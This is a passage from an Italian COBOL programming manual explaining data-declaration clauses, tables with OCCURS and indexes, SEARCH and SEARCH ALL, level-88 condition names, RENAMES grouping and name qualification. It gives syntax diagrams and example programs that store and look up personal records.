La figura dovrebbe essere sufficiente per capire come viene utilizzata la memoria per la rappresentazione delle variabili '**COMPUTATIONAL**'. Si può osservare che la variabile strutturata '**A**' ha soltanto uno spreco di una cifra '**COMPUTATIONAL**', ovvero 4 bit, mentre la variabile '**B**', avendo un'organizzazione differente nella sua struttura sottostante, spreca più spazio.

Molti compilatori COBOL considerano anche il tipo numerico '**COMPUTATIONAL-3**', o '**COMP-3**'. Si tratta di una variante del tipo '**COMPUTATIONAL**', con l'indicazione del segno o dell'assenza del segno, nel gruppo di 4 bit meno significativo (quello più a destra).

La maggior parte dei manuali COBOL sottolinea il fatto che per eseguire delle elaborazioni numeriche (dei calcoli matematici di qualunque tipo) è bene che le variabili utilizzate siano di tipo '**COMPUTATIONAL**', perché se le variabili sono ti tipo '**DISPLAY**', prima di poter essere utilizzate devono essere convertite.

83.6.5 Opzione «SIGN»

Quando si dichiarano variabili numeriche che prevedono l'indicazione del segno, è possibile stabilire in che modo e in quale posizione deve trovarsi, con l'opzione '**SIGN**':

```
                  /            \
                  |  LEADING   |
      [SIGN IS]   <  -------   >  [SEPARATE CHARACTER]
       ----       |  TRAILING  |   --------
                  \  --------  /
```

Le variabili numeriche di tipo '**DISPLAY**', in condizioni normali, incorporano il segno nel byte più significativo. Quando si vuole richiedere che il segno occupi un byte tutto per sé, è necessario usare la parola chiave '**SEPARATE**'. Per le variabili di tipo '**COMPUTATIONAL**' il segno occupa sempre uno spazio separato rispetto a quello delle cifre numeriche.

Se si utilizza la parola chiave '**LEADING**', il segno viene collocato a sinistra (e di norma questo è il comportamento predefinito); se invece si usa la parola chiave '**TRAILING**', il segno viene collocato nella posizione più a destra.

83.6.6 Opzione «OCCURS»

La parola chiave '**OCCURS**' introduce un gruppo di informazioni che consentono di indicare che la variabile a cui fanno riferimento viene ripetuta secondo certe modalità. Attraverso questo meccanismo si creano quelle che per il COBOL sono delle tabelle.

```
        /                                                           \
        |               integer-2 TIMES                             |
OCCURS  <                                                           >
------  |  integer-1 TO integer-2 TIMES [DEPENDING ON data-name-3]  |
        \            --                  ---------                  /

        .--  /              \                            --.
        |    |  ASCENDING   |                              |
        |    <  ---------   >  KEY IS  {data-name-4}...   |...
        |    |  DESCENDING  |                              |
        '--  \  ----------  /                            --'

        [ INDEXED BY  {index-name-1}... ]
          -------
```

La variabile ricorrente di una tabella può ripetersi per un numero fisso di elementi (***integer-2***), oppure per un numero variabile, nell'ambito di un intervallo stabilito (da ***integer-1*** a ***integer-2***), sotto il controllo di un'altra variabile (***data-name-3***).

Se l'insieme degli elementi della tabella dichiarata con l'opzione '**OCCURS**' è ordinato in base a una chiave, questa può essere specificata (***index-name-1***); inoltre, l'indice per accedere agli elementi può essere dichiarato contestualmente già in questa fase (***index-name-1***).

Per maggiori dettagli, si veda la sezione 83.7, dedicata solo alle tabelle del COBOL.

83.6.7 Opzione «SYNCHRONIZED»

L'opzione '**SYNCHRONIZED**' avrebbe lo scopo di allineare una variabile numerica nei limiti di una o più «parole», secondo l'architettura usata nell'elaboratore per il quale è realizzato il compilatore.

```
/                \  .--     --.
|  SYNCHRONIZED  |  |  LEFT   |
<  ------------  >  |  ----   |
|  SYNC          |  |  RIGHT  |
\  ----          /  `--------'
```

Teoricamente, l'uso dell'opzione '**SYNCHRONIZED**' avrebbe lo scopo di facilitare le elaborazioni numeriche, ma si creano delle complicazioni nel modo di determinare la dimensione effettiva delle variabili, soprattutto quando si vogliono ridefinire.

Per scrivere programmi COBOL compatibili tra i vari sistemi operativi e le architetture fisiche degli elaboratori, è meglio evitare l'uso di variabili '**SYNCHRONIZED**'; tuttavia, se si preferisce comunque usare questa funzione, diventa necessario consultare il manuale specifico del proprio compilatore.

83.6.8 Opzione «JUSTIFIED RIGHT»

Le variabili alfabetiche o alfanumeriche possono essere dichiarate con l'opzione '**JUSTIFIED**', per fare in modo che ricevano i dati allineandoli a destra:

```
/               \
|  JUSTIFIED    |
<  ---------    >  RIGHT
|  JUST         |  -----
\  ----         /
```

Normalmente, quando si «invia» una stringa in una variabile alfanumerica, la copia inizia da sinistra a destra: se la variabile ricevente è più piccola della stringa, questa viene troncata alla destra; se la variabile ricevente è più grande, si aggiungono alla destra degli spazi.

Quando si usa l'opzione '**JUSTIFIED**' per una variabile (ricevente), la copia di una stringa avviene con un allineamento opposto, pertanto il troncamento avviene a sinistra e così anche l'aggiunta degli spazi ulteriori.

83.6.9 Opzione «BLANK WHEN ZERO»

L'opzione '**BLANK WHEN ZERO**' si può utilizzare solo per le variabili numeriche scalari, dove ogni cifra utilizza un byte intero. L'opzione fa sì che gli zeri anteriori vengano sostituiti da spazi, a meno che il modello di definizione della variabile preveda diversamente.

```
[ BLANK WHEN ZERO ]
  -----      ----
```

83.6.10 Opzione «VALUE»

Convenzionalmente, una variabile che viene dichiarata nei livelli da 01 a 49 e 77, non ha inizialmente un valore prestabilito, ma solo casuale. Per stabilire un valore da attribuire a una variabile nel momento della sua creazione, si usa l'opzione '**VALUE**':

```
VALUE IS literal-1
-----
```

La costante che nello schema sintattico è indicata come ***literal-1***, è il valore che viene attribuito inizialmente.

Si osservi che è possibile stabilire un valore iniziale per una variabile, soltanto quando si tratta di qualcosa che viene dichiarato nella sezione '**WORKING-STORAGE SECTION**', perché nella sezione '**FILE SECTION**' ciò non è possibile e non avrebbe senso.

L'opzione '**VALUE**' si usa anche per la dichiarazione dei nomi di condizione, ma in tal caso la funzione di questa opzione ha un valore differente e non c'è più la discriminazione tra le sezioni in cui si può utilizzare.

83.6.11 Opzione «RENAMES»

L'opzione '**RENAMES**', che si usa nel livello 66, permette di dichiarare delle variabili che rappresentano un raggruppamento di altre variabili, appartenenti alla stessa struttura, purché queste siano adiacenti. Nella sezione 83.8.2 viene mostrata la dichiarazione dei raggruppamenti.

83.7 Tabelle

Il linguaggio COBOL offre la gestione di array attraverso la definizione di variabili multiple, all'interno di variabili strutturate (record); tuttavia, la denominazione usata nel COBOL per queste rappresentazioni dei dati è di ***tabella***.

```
level-number  data-name-1

              [omissis]

                        /                                                    \
                        |                integer-2 TIMES                      |
                 OCCURS <                                                    >
                 ------ |  integer-1 TO integer-2 TIMES [DEPENDING ON data-name-3]  |
                        \            --                 ---------            /

                        .--  /            \                       --.
                        |    |  ASCENDING  |                         |
                        |    <  ---------  >  KEY IS  {data-name-4}...  |...
                        |    |  DESCENDING |                         |
                        '--  \  ----------  /                       --'

                        [ INDEXED BY  {index-name-1}... ]
                          -------
              [omissis] .
```

83.7.1 Dichiarazione di una tabella

Si dichiara che un campo è composto da più elementi dello stesso tipo aggiungendo in coda l'opzione '**OCCURS *n* TIMES**'. Lo schema sintattico completo dell'opzione è il seguente:

```
              /                                                         \
              |               integer-2 TIMES                           |
      OCCURS  <                                                         >
      ------  |  integer-1 TO integer-2 TIMES [DEPENDING ON data-name-3]  |
              \             --                 ---------                /

              .--  /              \                          --.
              |    |  ASCENDING   |                            |
              |    <  ---------   >  KEY IS  {data-name-4}...  |...
              |    |  DESCENDING  |                            |
              '--  \  ----------  /                          --'

              [ INDEXED BY  {index-name-1}... ]
                -------
```

Le tabelle più semplici sono quelle che hanno un numero fisso di elementi. Si osservi l'esempio seguente:

```
000000 01  A.
000000     02  B        PIC 9999.
000000     02  C                        OCCURS 10 TIMES.
000000         03  D    PIC X(10).
000000         03  E    PIC 99          OCCURS  7 TIMES.
000000     02  F        PIC X(10).
```

Nell'esempio viene dichiarata una variabile strutturata denominata '**A**', che si articola nelle variabili '**B**', '**C**' e '**F**'. La variabile '**C**' è ripetuta per 10 volte e si articola ogni volta nella variabile '**D**' e nella variabile '**E**'. La variabile '**E**' si ripete per sette volte.

La variabile '**E**' è una tabella a due dimensioni, perché è inclusa nelle ripetizioni della variabile '**C**', mentre la variabile '**C**' è una tabella a una sola dimensione.

È evidente che per fare riferimento ai valori contenuti nelle tabelle sia necessario utilizzare un indice.

L'opzione '**OCCURS**' si può utilizzare per tutte le variabili dichiarate con un numero di livello da 02 a 49. In pratica vengono esclusi i livelli 01 (record), 66 (usato per il raggruppamento delle variabili), 77 (usato esclusivamente per le variabili scalari) e 88 (nomi di condizione).

Lo standard del 1974 del linguaggio COBOL pone come limite un massimo di tre dimensioni per le tabelle.

83.7.2 Riferimento al contenuto di una tabella

Per fare riferimento a un elemento di una tabella, nelle istruzioni della divisione '**PROCEDURE DIVISION**' si usa una forma descritta dallo schema sintattico seguente:

```
data-name (subscript-1 [subscript-2 [subscript-3...]])
```

In pratica, si scrive il nome della variabile ripetuta, seguita dall'indice o dagli indici tra parentesi tonde. Il primo indice riguarda la prima dimensione, intesa come quella più esterna; l'ultimo riguarda l'annidamento più interno.

L'indice è un numero intero positivo che va da uno fino al massimo della dimensione che lo riguarda. Seguendo l'esempio apparso nella sezione precedente, '**E (1 7)**' rappresenta la settima occorrenza della variabile '**E**' nell'ambito della prima della variabile '**C**'. Pertanto, il nome da usare per indicare l'elemento è quello della variabile più interna che si vuole individuare, mentre gli indici partono dalla posizione più esterna.

Si noti che è convenzione comune inserire delle virgole per separare gli indici, anche se si tratta di una forma di rappresentazione facoltativa.

Viene mostrato un altro esempio di tabella a tre dimensioni:

```
000000 01  ENCICLOPEDIA.
000000     05  VOLUME                    OCCURS 10 TIMES.
000000         10  TITOLO-VOLUME             PIC X(30).
000000         10  PARTE                 OCCURS 20 TIMES.
000000             15  TITOLO-PARTE          PIC X(30).
000000             15  CAPITOLO          OCCURS 30 TIMES.
000000                 20  TITOLO-CAPITOLO   PIC (30).
000000                 20  TESTO             PIC (200).
```

Si tratta di una variabile strutturata che serve a contenere delle informazioni su un'enciclopedia. L'elemento '**VOLUME (5)**' contiene le informazioni su tutto il volume quinto; l'elemento '**TITOLO-VOLUME (5)**' contiene il titolo del volume quinto; l'elemento '**TITOLO-PARTE (5, 3)**' contiene il titolo della terza parte del volume quinto; l'elemento '**TESTO (5, 3, 25)**' contiene il testo del venticinquesimo capitolo contenuto nella terza parte del quinto volume. Naturalmente, in questo esempio si intende che la numerazione delle parti ricominci da uno all'inizio di ogni volume; così si intende che all'inizio di ogni parte la numerazione dei capitoli riprenda da uno.

83.7.3 Indice

L'indice di una tabella può essere indicato attraverso una costante numerica, una variabile numerica a cui sia stato attribuito preventivamente un valore appropriato o attraverso un'espressione elementare che risulta in un numero intero appropriato.

Quando si usa una variabile per la gestione di un indice, è possibile ed è consigliabile che il tipo numerico di tale variabile sia '**INDEX**'. In pratica, nella sezione '**WORKING-STORAGE SECTION**' un indice potrebbe essere dichiarato come nell'esempio seguente, dove se ne vedono due, il primo, denominato '**INDICE**', è dichiarato come variabile scalare di livello 77,

il secondo, denominato '**INDICE-C**', è sempre costituito da una variabile scalare, che però fa parte di una variabile strutturata:

```
000000 77  INDICE           USAGE IS INDEX.
000000
000000 01  A.
000000     02  B            PIC X(30).
000000     02  INDICE-C     USAGE IS INDEX.
```

Si può osservare che questo tipo di variabile numerica non prevede la definizione della sua dimensione che è stabilita invece dal compilatore, in base alle caratteristiche dell'elaboratore e del sistema operativo.

In alternativa, **l'indice può essere dichiarato contestualmente alla dichiarazione della variabile ricorrente**; in tal caso, il compilatore può aggiungere dei controlli tali da impedire che si possa assegnare alla variabile un valore al di fuori dell'ambito della dimensione della tabella:

```
000000 01  ENCICLOPEDIA.
000000     05  VOLUME                    OCCURS 10 TIMES
000000                                   INDEX IS IND-VOLUME.
000000         10  TITOLO-VOLUME             PIC X(30).
000000         10  PARTE                 OCCURS 20 TIMES
000000                                   INDEX IS IND-PARTE.
000000             15  TITOLO-PARTE          PIC X(30).
000000             15  CAPITOLO          OCCURS 30 TIMES
000000                                   INDEX IS IND-CAPITOLO.
000000                 20  TITOLO-CAPITOLO  PIC (30).
000000                 20  TESTO            PIC (200).
```

Qui viene ripreso e modificato un esempio già apparso in una sezione precedente. La differenza consiste nell'assegnare l'indice a ogni variabile ricorrente. Pertanto si hanno gli indici: '**IND-VOLUME**', '**IND-PARTE**' e '**IND-CAPITOLO**'.

Come accennato, si può fare riferimento a un elemento di una tabella indicando un indice costituito da un'espressione matematica elementare. Si parla in questo caso di indici relativi, perché si possono sommare o sottrarre dei valori a partire da una posizione di partenza. Per esempio, supponendo che la variabile '**I**' contenga il numero 15, l'elemento indicato come '**ELE (I - 4)**' corrisponderebbe alla notazione '**ELE (11)**'; nello stesso modo, l'elemento indicato come '**ELE (I + 4)**' corrisponderebbe alla notazione '**ELE (19)**'.

83.7.4 Tabelle di dimensione variabile

Teoricamente, è possibile dichiarare l'occorrenza di una variabile per una quantità variabile di elementi; si usa in tal caso la forma '**OCCURS *m* TO *n* TIMES**'. A seconda del compilatore, può essere obbligatorio, o facoltativo, specificare il nome di una variabile che controlla dinamicamente la quantità massima di elementi:

```
OCCURS  integer-1 TO integer-2 TIMES [DEPENDING ON data-name-3]
------            --                  ---------
```

Viene mostrato l'esempio di un programma completo, che serve ad accumulare in una tabella alcuni dati personali. Sono previsti un massimo di 60 elementi e la quantità effettiva di elementi è controllata dalla variabile '**UTENTI-MAX**':

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM1150.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-24.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-UTENTI.
001200     02  UTENTE           OCCURS 1 TO 60 TIMES
001300                          DEPENDING ON UTENTI-MAX
001400                          INDEXED BY IND-UTENTE.
001500         03  COGNOME      PIC X(30).
001600         03  NOME         PIC X(30).
001700         03  NOTA         PIC X(200).
001800 77  UTENTI-MAX           USAGE IS INDEX.
001900 77  EOJ                  PIC 9   VALUE ZERO.
002000 77  RISPOSTA             PIC XX.
002100*
002200 PROCEDURE DIVISION.
002300*------------------------- LIVELLO 0 -----------------------------
002400 MAIN.
002500     PERFORM INSERIMENTO-DATI
002600             VARYING IND-UTENTE FROM 1 BY 1
002700             UNTIL EOJ = 1.
002800     PERFORM SCANSIONE
002900             VARYING IND-UTENTE FROM 1 BY 1
003000             UNTIL IND-UTENTE > UTENTI-MAX.
003100*
003200     STOP RUN.
003300*------------------------- LIVELLO 1 -----------------------------
003400 INSERIMENTO-DATI.
003500     MOVE IND-UTENTE TO UTENTI-MAX.
003600     DISPLAY "INSERISCI IL COGNOME: ".
003700     ACCEPT COGNOME (IND-UTENTE).
003800     DISPLAY "INSERISCI IL NOME: ".
003900     ACCEPT NOME (IND-UTENTE).
004000     DISPLAY "INSERISCI UNA NOTA DESCRITTIVA: ".
004100     ACCEPT NOTA (IND-UTENTE).
004200*
004300     IF IND-UTENTE >= 60
004400       THEN
004500           MOVE 1 TO EOJ;
004600       ELSE
004700           DISPLAY "VUOI CONTINUARE? SI O NO",
004800           ACCEPT RISPOSTA;
004900           IF RISPOSTA = "SI"
005000             THEN
005100                 DISPLAY "OTTIMO!";
005200             ELSE
```

```
005300                  MOVE 1 TO EOJ.
005400*------------------------------------------------------------------
005500 SCANSIONE.
005600     DISPLAY COGNOME (IND-UTENTE), " ",
005700             NOME (IND-UTENTE), " ",
005800             NOTA (IND-UTENTE).
005900*
```

83.7.5 Tabelle ordinate

Se si devono utilizzare i dati in una tabella per eseguire una ricerca al suo interno (utilizzando l'istruzione '**SEARCH**' nella divisione '**PROCEDURE DIVISION**'), se si può essere certi che le informazioni contenute siano ordinate secondo una certa chiave, lo si può specificare nella dichiarazione:

```
        /                                                      \
        |               integer-2 TIMES                        |
OCCURS  <                                                      >
------  |  integer-1 TO integer-2 TIMES [DEPENDING ON data-name-3]  |
        \           --                   ---------             /

        .--  /             \                        --.
        |    |  ASCENDING  |                          |
        |    <  ---------  >  KEY IS  {data-name-4}...  |...
        |    |  DESCENDING |                          |
        `--  \  ----------  /                        --'

        [ INDEXED BY  {index-name-1}... ]
          -------
```

La metavariabile ***data-name-4*** dello schema sintattico rappresenta una variabile contenuta nell'elemento ricorrente; attraverso la parola chiave '**ASCENDING**' si intende dichiarare che la tabella è ordinata, lessicograficamente, in modo ascendente, secondo il contenuto di quella variabile, se invece si usa la parola chiave '**DESCENDING**', si intende un ordinamento decrescente.

È possibile specificare più chiavi di ordinamento successive, nel caso si vogliano abbinare chiavi secondarie di ordinamento.

Sia chiaro che la tabella deve già risultare ordinata secondo le chiavi specificate, altrimenti le istruzioni '**SEARCH**' della divisione '**PROCEDURE DIVISION**' danno risultati errati o falliscono semplicemente. Naturalmente, all'interno del programma è possibile prevedere un procedimento di riordino, da eseguire prima di utilizzare delle istruzioni '**SEARCH**'.

L'esempio seguente mostra l'indicazione della chiave di ordinamento, costituita precisamente dalla variabile '**COGNOME**', che deve risultare ascendente in fase di ricerca:

```
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-UTENTI.
001200     02  UTENTE            OCCURS 1 TO 60 TIMES
001300                           DEPENDING ON UTENTI-MAX
001350                           ASCENDING KEY IS COGNOME
001400                           INDEXED BY IND-UTENTE.
```

```
001500          03  COGNOME      PIC X(30).
001600          03  NOME         PIC X(30).
001700          03  NOTA         PIC X(200).
001800 77  UTENTI-MAX            USAGE IS INDEX.
```

83.7.6 Scansione delle tabelle

Il linguaggio COBOL prevede un'istruzione apposita per facilitare la scansione delle tabelle. Si tratta di '**SEARCH**', che ha due modalità di funzionamento, a seconda che si voglia eseguire una ricerca sequenziale o una ricerca binaria. Naturalmente, la ricerca sequenziale si presta alla scansione di una tabella i cui dati non sono ordinati, mentre nel secondo caso devono esserlo.

Viene mostrato l'esempio di un programma completo che inizia con l'inserimento di dati all'interno di una tabella, quindi esegue una ricerca sequenziale al suo interno:

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-SEARCH.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-12.
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
001100*
001200 WORKING-STORAGE SECTION.
001300 01  RECORD-UTENTI.
001400     02  UTENTE            OCCURS 60 TIMES
001500                           INDEXED BY IND-UTENTE.
001600         03  COGNOME       PIC X(30).
001700         03  NOME          PIC X(30).
001800         03  NOTA          PIC X(200).
001900 77  EOJ                   PIC 9   VALUE ZERO.
002000 77  RISPOSTA              PIC XX.
002100 77  RICERCA               PIC X(30).
002200*
002300 PROCEDURE DIVISION.
002400*------------------------- LIVELLO 0 -----------------------------
002500 MAIN.
002600     PERFORM INSERIMENTO-DATI
002700             VARYING IND-UTENTE FROM 1 BY 1
002800             UNTIL EOJ = 1.
002900     MOVE 0 TO EOJ.
003000     PERFORM SCANSIONE UNTIL EOJ = 1.
003100*
003200     STOP RUN.
003300*------------------------- LIVELLO 1 -----------------------------
003400 INSERIMENTO-DATI.
003500     DISPLAY IND-UTENTE, " INSERISCI IL COGNOME: ".
```

```
003600     ACCEPT COGNOME (IND-UTENTE).
003700     DISPLAY IND-UTENTE, " INSERISCI IL NOME: ".
003800     ACCEPT NOME (IND-UTENTE).
003900     DISPLAY IND-UTENTE, " INSERISCI UNA NOTA DESCRITTIVA: ".
004000     ACCEPT NOTA (IND-UTENTE).
004100*
004200     IF IND-UTENTE >= 60
004300       THEN
004400           MOVE 1 TO EOJ;
004500       ELSE
004600           DISPLAY "VUOI CONTINUARE? SI O NO",
004700           ACCEPT RISPOSTA;
004800           IF RISPOSTA = "SI"
004900             THEN
005000                 NEXT SENTENCE;
005100             ELSE
005200                 MOVE 1 TO EOJ.
005300*-----------------------------------------------------------------
005400 SCANSIONE.
005500     DISPLAY "INSERISCI IL COGNOME DA CERCARE:".
005600     ACCEPT RICERCA.
005700     IF RICERCA = SPACES
005800       THEN
005900           MOVE 1 TO EOJ;
006000       ELSE
006100           SET IND-UTENTE TO 1,
006200           SEARCH UTENTE
006300                 AT END
006400                       DISPLAY "IL COGNOME CERCATO ",
006500                               "NON SI TROVA NELLA TABELLA: ",
006600                               QUOTE RICERCA QUOTE;
006700                 WHEN COGNOME (IND-UTENTE) = RICERCA
006800                     DISPLAY "IL COGNOME ", RICERCA,
006900                             "SI TROVA NELLA POSIZIONE ",
007000                             IND-UTENTE.
007100*
```

Nell'esempio sono evidenziate le righe in cui si dichiara la tabella e quelle che eseguono la scansione. Si deve osservare che prima dell'istruzione '**SEARCH**', l'indice deve essere collocato manualmente nella posizione iniziale.

L'esempio seguente mostra una variante del programma già descritto, in cui si vuole eseguire una ricerca binaria. Perché la ricerca possa avere successo, la tabella deve essere dichiarata con una dimensione variabile di elementi, inoltre non è più necessario impostare il valore iniziale dell'indice, prima della scansione.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.    TEST-SEARCH-KEY.
000300 AUTHOR.        DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500                OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-12.
```

```
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
001100*
001200 WORKING-STORAGE SECTION.
001300 01  RECORD-UTENTI.
001400     02  UTENTE            OCCURS 1 TO 60 TIMES
001500                           DEPENDING ON UTENTI-MAX
001600                           ASCENDING KEY IS COGNOME
001700                           INDEXED BY IND-UTENTE.
001800         03  COGNOME       PIC X(30).
001900         03  NOME          PIC X(30).
002000         03  NOTA          PIC X(200).
002100 77  UTENTI-MAX            USAGE IS INDEX.
002200 77  EOJ                   PIC 9   VALUE ZERO.
002300 77  RISPOSTA              PIC XX.
002400 77  RICERCA               PIC X(30).
002500*
002600 PROCEDURE DIVISION.
002700*------------------------- LIVELLO 0 -----------------------------
002800 MAIN.
002900     PERFORM INSERIMENTO-DATI
003000             VARYING IND-UTENTE FROM 1 BY 1
003100             UNTIL EOJ = 1.
003200     MOVE 0 TO EOJ.
003300     PERFORM SCANSIONE UNTIL EOJ = 1.
003400*
003500     STOP RUN.
003600*------------------------- LIVELLO 1 -----------------------------
003700 INSERIMENTO-DATI.
003800     MOVE IND-UTENTE TO UTENTI-MAX.
003900     DISPLAY IND-UTENTE, " INSERISCI IL COGNOME: ".
004000     ACCEPT COGNOME (IND-UTENTE).
004100     DISPLAY IND-UTENTE, " INSERISCI IL NOME: ".
004200     ACCEPT NOME (IND-UTENTE).
004300     DISPLAY IND-UTENTE, " INSERISCI UNA NOTA DESCRITTIVA: ".
004400     ACCEPT NOTA (IND-UTENTE).
004500*
004600     IF IND-UTENTE >= 60
004700       THEN
004800           MOVE 1 TO EOJ;
004900       ELSE
005000           DISPLAY "VUOI CONTINUARE? SI O NO",
005100           ACCEPT RISPOSTA;
005200           IF RISPOSTA = "SI"
005300             THEN
005400                 NEXT SENTENCE;
005500             ELSE
005600                 MOVE 1 TO EOJ.
005700*-------------------------------------------------------------------
005800 SCANSIONE.
005900     DISPLAY "INSERISCI IL COGNOME DA CERCARE:".
```

```
006000     ACCEPT RICERCA.
006100     IF RICERCA = SPACES
006200       THEN
006300           MOVE 1 TO EOJ;
006400       ELSE
006600           SEARCH ALL UTENTE
006700                 AT END
006800                       DISPLAY "IL COGNOME CERCATO ",
006900                               "NON SI TROVA NELLA TABELLA: ",
007000                               QUOTE RICERCA QUOTE;
007100                 WHEN COGNOME (IND-UTENTE) = RICERCA
007200                     DISPLAY "IL COGNOME ", RICERCA,
007300                             "SI TROVA NELLA POSIZIONE ",
007400                             IND-UTENTE.
007500*
```

La ricerca binaria richiede che gli elementi della tabella siano ordinati in base alla chiave primaria; pertanto, si presume che l'inserimento dei cognomi avvenga tenendo conto dell'ordine lessicografico.

83.8 Nomi di condizione, raggruppamento e qualificazione

Per rappresentare in modo immediato una condizione che verifichi la corrispondenza tra il contenuto di una variabile e un insieme di valori prestabiliti, si possono utilizzare i ***nomi di condizione***. I nomi di condizione sono sostanzialmente delle costanti che descrivono un'espressione condizionale di questo tipo e si dichiarano con il numero di livello 88.

Le variabili possono essere raggruppate diversamente, purché si trovino all'interno di una stessa variabile strutturata e siano adiacenti.

I nomi dati alle variabili e ad altri oggetti del programma, in certe situazioni possono richiedere la «qualificazione», che consiste nello specificare il contesto al quale si riferiscono.

83.8.1 Nomi di condizione

Attraverso il livello 88 è possibile definire una costante speciale, con lo scopo di rappresentare la possibilità che una variabile contenga certi valori. In pratica, si dichiara una variabile, con i livelli da 01 a 49 o anche con il livello 77. A questa variabile si abbinano una o più costanti dichiarate con il livello 88, che descrivono la possibilità che la variabile a cui si riferiscono contenga un certo insieme di valori. Le costanti di livello 88, dichiarate in questo modo, si usano poi nelle condizioni.

```
                    /             \  /            .-- /          \          --. \
                    | VALUE IS    |  |            |   | THROUGH |            | |
88  condition-name  < -----       >  < literal-1  |   < -------  > literal-2 | >... .
                    | VALUES ARE  |  |            |   | THRU    |            | |
                    \ ------      /  \            `-- \ ----    /          --' /
```

Nello schema sintattico si vede soltanto la dichiarazione del livello 88, ma si deve tenere conto che si tratta di istruzioni che vanno collocate a partire dalla riga successiva a quella di dichiarazione della variabile a cui si riferiscono.

La parola chiave '**THROUGH**' o '**THRU**' si usa per specificare un intervallo di valori (dalla costante ***literal-1*** a ***literal-2***. Il valore singolo o l'intervallo di valori, può essere seguito da altri.

Nell'esempio seguente, si vede la dichiarazione della variabile '**VERNICIATURA**' che può contenere una stringa di 30 caratteri (alfanumerica). A questa variabile si associano due nomi di condizione, '**VERNICE-CHIARA**' e '**VERNICE-SCURA**', che servono a definire due gruppi di colori, descritti per nome. Da questo si intuisce che nella parte procedurale del programma venga attribuito alla variabile '**VERNICIATURA**' il nome di un colore (scritto con lettere maiuscole); poi, per verificare il tipo di colore si può usare uno di questi nomi di condizione, per esprimere il fatto che la variabile contenga uno dei nomi del gruppo a cui quel nome fa riferimento.

```
000000 01  VERNICIATURA      PIC X(30).
000000     88  VERNICE-CHIARA    "ARANCIO", "GIALLO", "VERDE",
000000                           "AZZURRO",  "GRIGIO",  "BIANCO".
000000     88  VERNICE-SCURA     "NERO", "MARRONE", "ROSSO",
000000                           "BLU",  "VIOLA".
```

L'esempio seguente descrive la variabile '**CODICE**' che può contenere una sola cifra numerica. A questa variabile si associano dei nomi di condizione, che descrivono raggruppamenti diversi delle cifre che possono essere contenute nella variabile.

```
000000     02  CODICE            PIC 9.
000000         88  PARI          0, 2, 4, 6, 8.
000000         88  DISPARI       1, 3, 5, 7, 9.
000000         88  BASSO         0 THRU 4.
000000         88  ALTO          5 THRU 9.
```

Nella divisione '**PROCEDURE DIVISION**' potrebbero apparire righe come quelle successive, per verificare che la variabile '**CODICE**' contenga certi valori:

```
000000     IF PARI
000000     THEN
000000         PERFORM …;
000000     ELSE
000000         …
```

In questo modo si evita di scrivere un'espressione condizionale complessa come nell'esempio seguente:

```
000000     IF CODICE IS EQUAL TO 0
000000        OR CODICE IS EQUAL TO 2
000000        OR CODICE IS EQUAL TO 4
000000        OR CODICE IS EQUAL TO 6
000000        OR CODICE IS EQUAL TO 8
000000     THEN
000000         PERFORM …
000000     ELSE
000000         …
```

I nomi di condizione si possono associare a variabili che hanno un contenuto alfabetico, alfanumerico e numerico, ma nell'ultimo caso, deve trattarsi di valori rappresentati in forma di

stringhe di caratteri (pertanto sono escluse le rappresentazioni compatte che usano quattro bit per cifra e quelle binarie).

Un nome di condizione può essere associato a una variabile che costituisce una tabella, oppure che è contenuta in una struttura tabellare. Per fare riferimento al nome di condizione nella cella giusta, occorre utilizzare gli indici, così come si fa normalmente in queste situazioni.

83.8.2 Raggruppamento

Il livello 66 permette di raggruppare alcune variabili adiacenti di una stessa struttura:

```
                                        .--  /           \            --.
                                        |    |  THROUGH  |              |
    66  data-name-1  RENAMES data-name-2  |    <  -------  >  data-name-3  | .
                     -------            |    |  THRU     |              |
                                        '--  \  ----     /            --'
```

Dopo il numero di livello 66 viene dichiarato il nome del raggruppamento, quindi, dopo la parola chiave '**RENAMES**', si indica il nome della prima variabile; eventualmente, dopo la parola chiave '**THROUGH**' o '**THRU**', si indica l'ultima variabile da riunire. Si osservi l'esempio seguente:

```
000000 01  TABULATO.
000000     05  A.
000000         10  A1  PIC X.
000000         10  A2  PIC XXX.
000000         10  A3  PIC XX.
000000         10  A4  PIC XX.
000000     05  B.
000000         10  B1  PIC XX.
000000         10  B2  PIC X(16).
000000         10  B3  PIC X(8).
000000         10  B4  PIC X.
000000 66  C RENAMES A.
000000 66  D RENAMES A1 THRU A3.
000000 66  E RENAMES A4 THRU B2.
000000 66  F RENAMES A2 THRU B.
000000 66  G RENAMES A  THRU B.
```

Il disegno successivo, anche se non proporzionato rispetto alla dimensione delle variabili, mostra a cosa si riferiscono i vari raggruppamenti:

TABULATO

A B

A1 A2 A3 A4 B1 B2 B3 B4

C

D E

F

G

83.8.3 Qualificazione

I nomi usati nel linguaggio COBOL, per le variabili e per la delimitazione di porzioni del contenuto della divisione '**`PROCEDURE DIVISION`**' hanno valore per tutta l'estensione del programma; pertanto, in generale, non possono esserci nomi doppi e non si creano ambiti di funzionamento ristretti.

Dal momento che i nomi usati per dichiarare le variabili, oltre che le sezioni e i paragrafi della divisione '**`PROCEDURE DIVISION`**', hanno una lunghezza limitata normalmente a soli 30 caratteri, in un programma abbastanza grande si può porre il problema di riuscire a scrivere nomi abbastanza mnemonici e univoci. Per questo, è possibile riutilizzare certi nomi, purché poi questi siano indicati attraverso la qualificazione del loro contesto. Il contesto che consente di qualificare un nome è costituito da una gerarchia di nomi; si osservi l'esempio seguente:

```
001700 FILE SECTION.
001800 FD  SALES-FILE
001830     LABEL RECORD IS STANDARD
001860     VALUE OF FILE-ID IS "sales".
001900 01  SALES-RECORD.
002000     05  VENDOR-NAME      PIC X(20).
002100     05  VALUE            PIC S9(6).
002200     05  NUMBER           PIC X(13).
002300     05  TYPE             PIC X.
002400     05  VENDOR-REGION    PIC X(17).
